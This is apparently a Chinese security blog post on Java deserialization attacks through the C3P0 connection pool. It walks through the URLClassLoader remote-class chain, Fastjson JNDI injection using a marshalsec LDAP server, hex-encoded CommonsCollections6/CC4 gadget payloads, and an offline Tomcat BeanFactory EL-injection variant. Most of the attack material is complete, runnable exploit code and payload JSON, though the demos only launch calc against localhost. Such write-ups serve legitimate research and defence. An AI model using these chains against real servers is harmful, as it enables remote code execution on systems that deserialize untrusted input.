C3P0反序列化

C3P0

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。c3p0具有自动回收空闲连接功能。

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

利用链

URLClassLoader利用链

漏洞点在PoolBackedDataSourceBase

先看序列化的过程,进入PoolBackedDataSourceBase这个类看看writeObject

![image-20250312204523023](D:\typoraNote\imgg\C3P0反序列化\image-20250312204523023.png)

先将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作,我们跟进ReferenceIndirector.indirectForm方法。

public IndirectlySerialized indirectForm( Object orig ) throws Exception
{ 
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}

private static class ReferenceSerialized implements IndirectlySerialized
{
Reference   reference;  //!!!!!
Name        name;
Name        contextName;
Hashtable   env;
    
    ...

此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化

可以看出reference是可以被我们控制的,接下来看反序列化的操作,readShort获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象o是否实现了IndirectlySerialized接口,在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口,所以通过判断,调用了o的getObject方法

![image-20250312213446431](D:\typoraNote\imgg\C3P0反序列化\image-20250312213446431.png)

跟进getObject方法

![image-20250312213614952](D:\typoraNote\imgg\C3P0反序列化\image-20250312213614952.png)

跟进ReferenceableUtils.referenceToObject,由于ref是在序列化的时候可以控制的参数,那么fClassName自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类。

这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞

![image-20250312213714028](D:\typoraNote\imgg\C3P0反序列化\image-20250312213714028.png)

package c3p0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class URLClassLoaderdemo {
    public static void main(String[] args) throws Exception{
    
        PoolBackedDataSource z = new PoolBackedDataSource();

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("test","http://127.0.0.1:8000/");
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
        protected String classFactory = null;
        protected String classFactoryLocation = null;
        public ConnectionPool(String classFactory,String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
        @Override
        public PooledConnection getPooledConnection() throws SQLException {return null;}
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
        @Override
        public PrintWriter getLogWriter() throws SQLException {return null;}
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {}
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {}
        @Override
        public int getLoginTimeout() throws SQLException {return 0;}
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
    }

}

JNDI注入 FastJson

在fastjson,jackson环境中可用

JndiRefForwardingDataSourcedereference()方法中有lookup,并且jndiName通过getJndiName()获取

![image-20250313172628976](D:\typoraNote\imgg\C3P0反序列化\image-20250313172628976.png)

com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法

![image-20250313172940800](D:\typoraNote\imgg\C3P0反序列化\image-20250313172940800.png)

而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法

public void setLogWriter(PrintWriter out) throws SQLException {
    this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
    this.inner().setLoginTimeout(seconds);
}

就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用

python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:9999/test", "loginTimeout":1}

hex序列化字节加载器

这个链自能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件

WrapperConnectionPoolDataSource的构造方法下

![image-20250313182115087](D:\typoraNote\imgg\C3P0反序列化\image-20250313182115087.png)

调用了C3P0ImplUtils.parseUserOverridesAsString,跟进

![image-20250313182408549](D:\typoraNote\imgg\C3P0反序列化\image-20250313182408549.png)

userOverridesAsString不为空进入if
首先会用substringuserOverridesAsString进行截取,将HASM_HEADER头和最后一位的;扣掉
HASM_HEADER是一个私有的常量

![image-20250313182436801](D:\typoraNote\imgg\C3P0反序列化\image-20250313182436801.png)

将十六进制转成字节数组,最后再强转为map对象,跟进fromByteArray

![image-20250313182502466](D:\typoraNote\imgg\C3P0反序列化\image-20250313182502466.png)

最后到deserializeFromByteArray去readObject

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

cc6:

package c3p0;

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class hex_cc6 {


    public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"bbb");
        lazyMap.remove("Atkx");



        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
        String hex = toHexAscii(tobyteArray(exp()));
        System.out.println(hex);

        //Fastjson<1.2.47
//        String payload = "{" +
//                "\"1\":{" +
//                "\"@type\":\"java.lang.Class\"," +
//                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
//                "}," +
//                "\"2\":{" +
//                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
//                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
//                "}" +
//                "}";
        //低版本利用
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);


    }
}

cc4:

package c3p0;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class hex_cc4 {

    public static PriorityQueue CC4() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesclass = templates.getClass();
        //name字段
        Field nameField = templatesclass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Atkx");

        //恶意bytecode字段
        Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
        bytecodeFiled.setAccessible(true);
        byte[] code = Tools.getBytes("c3p0.evil");
        byte[][] codes = {code};
        bytecodeFiled.set(templates,codes);


        //工厂类字段
        Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl() {
        });

        //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
                new Class[]{ Templates.class},new Object[]{templates});
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);
        return priorityQueue;

    }

    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws Exception {
        String hex = toHexAscii(tobyteArray(CC4()));
        System.out.println(hex);





        //Fastjson<1.2.47
//        String payload = "{" +
//                "\"1\":{" +
//                "\"@type\":\"java.lang.Class\"," +
//                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
//                "}," +
//                "\"2\":{" +
//                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
//                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
//                "}" +
//                "}";
        //低版本利用
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}";
        JSON.parse(payload);
    }
}

或者直接加载恶意反序列化对象来执行

java -jar ysoserial.jar CommonsCollections6 "calc" > calc.bin
package c3p0;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class hex_alltohex {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

直接搭配fastjson的payload去打即可

不出网利用

在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入

C3P0中利用URLClassLoader进行任意类加载的攻击方式,在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然这种利用方式需要存在Tomcat8相关依赖环境

![image-20250313162630745](D:\typoraNote\imgg\C3P0反序列化\image-20250313162630745.png)

和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了,通过本地类的加载来进行EL表达式注入

package c3p0;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

public class c3p0_nointernet {
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public ConnectionPool ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            String cmd = "calc";
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
            return ref;
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }

}
最后修改:2025 年 03 月 13 日
如果觉得我的文章对你有用,请随意赞赏